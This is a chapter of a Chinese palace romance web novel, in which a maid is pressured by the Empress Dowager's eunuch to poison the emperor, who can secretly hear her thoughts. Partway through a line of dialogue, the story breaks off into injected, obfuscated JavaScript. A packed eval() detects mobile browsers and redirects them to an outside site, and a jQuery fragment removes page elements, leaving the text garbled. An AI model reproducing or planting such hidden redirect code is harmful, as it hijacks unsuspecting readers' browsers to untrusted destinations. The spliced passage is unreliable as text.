*宫女房内。
苏盼月回来便发现自己来了月信,还弄脏了一大片衣裙,她换了身衣裳便难受地趴在床上,抱着一床被褥疼得直抽气。
她的月信向来没个准,而且每回来都能要她半条命,这回也是如此。
只不过昨日刚给皇帝下毒,又加上自己也吃了一些那“毒药”,才让她忘记了这茬,只以为自己是中毒了命不久矣了。
这下发现自己只是月信来了,她心中送了一口气的同时又忍不住骂那个狗皇帝。
若不是因为他,自己也不至于被关在偏殿一天,还要跑前跑后地伺候他,连一口热乎饭都没吃上,导致这次痛得格外厉害。
这时门外突然传来敲门声,“苏姑娘在吗?”
苏盼月有气无力地问:“谁啊?”
门外的小太监说:“苏姑娘,是太医院的太医,请你开门吧。”
太医这么晚来做什么?苏盼月嘀咕着摸了一把小匕首攥在手里,这才爬起来去开了门。
门外真的站着一个小太监和他身后提着药箱的老太医。
纵使苏盼月进宫时间还不太久,却也认识这位太医院的院正,他可是陛下跟前的红人。
她立刻便有了猜测,一边请两人进屋一边问:“可是陛下请您过来的?”
老太医点点头:“老夫现在替姑娘把脉。”
苏盼月坐在桌边由太医把脉,心中还是觉得惊疑,陛下为何知道她身体不适?还派了太医过来。
片刻后,太医收手:“姑娘是否月信刚至,腹痛难耐?”
苏盼月小鸡啄米似的点头。
太医提笔写下一个药方:“姑娘气血亏空,理气行滞,应当是从前身子受过寒凉,落下了病根。需得慢慢调理身体,老夫先替你开一副温补滋养的药房,你按时服用即可。”
苏盼月道了声谢,刚想接过药方,却被一旁的小太监手快拿了过去。
小太监拿着药方说:“苏姑娘好好休息吧,我跟着太医去抓好药给你送过来。”
苏盼月眨眨眼,看着他殷勤的模样又看看太医,有些懂了,从袖中取出一块碎银子塞到他二人手中,笑着说:“那便劳烦公公了。”
可是两人都没收银子,很快便客客气气地走了。
苏盼月爬回床上,眨巴眨巴眼睛还是觉得此事有些蹊跷。
但她向来是想不明白就先不想的性子,很快便将这点儿疑虑抛到了脑后。
这边小太监很快给她送来了药,那头老太医也回太和殿复命了。
福公公叫了他,小声说:“陛下在偏殿睡下了,你有什么事情便同我说吧,我明日转达给陛下。”
太医说:“尚膳房那宫女,呃,苏姑娘乃是阴寒之症,我已经给她开了补气血的药方,但只能缓解一二,想要根除需得细细调养。劳烦公公转告陛下。”
福公公应了下来,却忍不住在心中嘀咕,陛下怎会关心一个膳房的小宫女呢?他摇摇头,入了殿内。
谢兰舟正躺在偏殿的贵妃塌上,睡得比往日都要沉,袖中的银簪不知何时掉了出来,无人察觉。
*
苏盼月本以为那天的事情只是一个意外,照常在尚膳房打打杂摸摸鱼。
可是她却发现最近几日好像有人在暗处盯着自己,她疑心是那名叫孙石的侍卫,又主动去找了他几回,想要告诉他自己已经按照他说的下过蛊丸了,让他不要再盯着自己了。
但是去了几回都没找到他的人,苏盼月这才从其他侍卫那里听说孙石不见了,已经有好几日了。
她这才觉出事情的不对劲来。
第三日,她在水井边洗菜的时候,突然被人捂住了眼睛,强行带到了一处地方。
解开眼上的黑布,苏盼月眯了眯眼睛,看见了一个长相凶狠满脸横肉的太监,但他脸上却挂着虚伪的笑脸。
“苏姑娘,我家主子想请你帮个忙。”
苏盼月一脸警惕:“你家主子是谁?”
太监:“姑娘知道多了对你不好,你只需要照做就好,事成自有重谢。”
苏盼月问:“要我做什么?”
那太监脸上的笑容更假了:“只需要你将此物加到陛下的茶水之中,事成之后会安排你出宫,保你后半生荣华富贵。”
苏盼月看着他递过来的瓷瓶,忍不住翻了个白眼,这些人到底有没有新意啊,怎么又是下毒!
她也挂上虚伪假笑拒绝:“公公抬举我了,我一个尚膳房的小宫女,哪有机会接触陛下啊。”
“你就不必装傻了,你那日同陛下在太和殿做了什么你心里最清楚,你是陛下的第一个女人,你去找陛下他应当不会拒绝……吧。”那太监说到最后一句自己都有些心虚。
苏盼月惊讶挑眉,就差把问号写在脸上了:“我是陛下的第一个女人??从哪里看出来的?”
这太监倒也好心解释:“龙椅上的血迹,还有你落在偏殿的簪子,我们主子什么都知道,你便不必装了。”
苏盼月无奈捂脸,还想再为自己的清白解释一下,殊不知自己这幅模样在那太监眼里已经是害羞的反应了。
太监没了耐心,将药瓶塞到她手中,又嘱咐了她一遍要尽快,这才重新蒙上她的眼,将她带了回去。
不过这次苏盼月学聪明了,暗暗记住了回去的路线,找机会重新走了一遍,发现自己被带去的地方居然是慈宁宫的方向。
她很震惊,这想要给皇帝下毒的人居然是太后。
旋即她便想起了先前在太后册封宴上发生的事情,看来这二位母子关系很是一般啊,自己一个小小宫女,定然不能趟这个浑水。
苏盼月回去便将那装着毒药的瓷瓶塞进了衣柜底层,假装无事发生。
但她还是忍不住去找了崔姑姑打听两人之间的恩怨。
崔姑姑:“你问这个做什么?”
苏盼月:“我想了解一下,免得以后说错了话。”
崔姑姑看了她一眼,突然想起来了一件事:“你还没说那日为何会去太和殿呢。”
苏盼月没想到她会提起这茬:“哎姑姑,你别问了。”
看她避而不谈的样子,崔姑姑便懂了:“陛下向来不近女色,你不要在打这个主意了,若真惹了陛下的眼,下次说不定就没有这么好运了。”
这是又误会了,苏盼月噘嘴,小声嘀咕:“这算什么好运,倒霉死了。”
崔姑姑安抚般拍了拍她的手,环顾了一圈确定此处只有她们二人,这才小声开口:“当今太后并非陛下生母,陛下生母是老国公嫡女纪氏,入宫没多久便被封为丽妃,诞下皇子后更是离太后仅一步之遥。”
苏盼月忍不住问:“一步之遥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315168|182956||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是何意?”
“我也只是听说,当年封后大典前夜,她的寝殿走水,主子下人都烧了个干干净净,只有小殿下,因为偷溜出去而幸免于难。”
苏盼月倒吸一口凉气,问:“后来呢?”
“后来当时还是淑妃的太后被封为皇后,小殿下也被抱到她的膝下养着,没过两年她又诞下一个皇子,但是当时陛下已被封为太子,太后便……”
崔姑姑言尽于此,后面的事情苏盼月也知道,后来陛下就弑父篡位,靠着强硬手段走到了今日。
崔姑姑最后叮嘱了一句:“离陛下远些。”
苏盼月郑重点头,小命最重要,太后与皇帝斗法,自己这种小喽啰只有陪葬的命,还是离得越远越好。
可惜天不如人愿,舒坦日子过了没几日,上次那个太监又找了上来。
这次的态度明显不如上次:“苏姑娘,你若再不动手,主子不介意给你个痛快。”
苏盼月欲哭无泪道:“大哥,你也跟了我有段时间了,你难道没有发现我是真的没有机会见到陛下吗?”
那太监留下一句“你等着”,便匆匆离去。
苏盼月以为自己终于解脱了,结果晚上就收到了崔姑姑的消息,说让她明日去陛下身边当值。
苏盼月甚至怀疑是自己听错了,陛下不近女色,身边伺候的人都没有一个宫女,这是宫里都知道的事情,怎么会突然点名要她去伺候呢?
崔姑姑也不知为何,只是担忧地叹气。
苏盼月都开始怀疑是不是陛下真的对自己念念不忘的时候,那个太监来打破了她的幻想:“是主子安排你去陛下跟前伺候的,你尽管放心动手,还有几个宫女与你一起,便是东窗事发也有替死鬼。”
苏盼月皱眉,听他的语气仿佛拿别人做替死鬼是什么再寻常不过的事情,她忍不住问:“陛下知晓此事吗?”
“陛下那边……你就不必操心了,只管找机会动手便是。”
听着他简单粗暴的想法,苏盼月无语了,将人打发走了,坐在床上托腮发呆。
她现在被太后盯上都怪那狗皇帝,那由他来替自己解决这个麻烦才对啊,可是陛下怎么会听自己的呢。
苏盼月坐在床上绞尽脑汁也没想出来什么好办法,最后决定不想了,反正船到桥头自然直。
也不是只有自己被送去伺候,她到时候躲着些陛下便是,下毒是不可能的,她还想多活几日。
翌日一早,苏盼月便去了掖庭局,与她一同来的宫女还有总共十人。
按照规矩,她们这些能去陛下跟前伺候的宫女都是要在此处学习礼数和规矩。
一整日下来,从行礼问安的规矩到陛下的饮食起居,事无巨细,临近结束,那管教嬷嬷还给她们一人发了一本小册子,让她们回去好好学习。
回到自己的宫女房,苏盼月已经累得腰酸背痛,拿出那本小册子随手翻看,却是打开了新世界的大门。
因为这是一本避火图,苏盼月没想到去伺候陛下还要学这些内容,但是想到陛下那张脸和身材,她觉得她又可以了。
这般废寝忘食地学了半宿,以至于她第二日见到陛下的时候视线不由自主地往下瞟。
然后谢兰舟便听见了她的心声:
【都说皇帝是真龙转世,不知这龙根长得有什么不同?】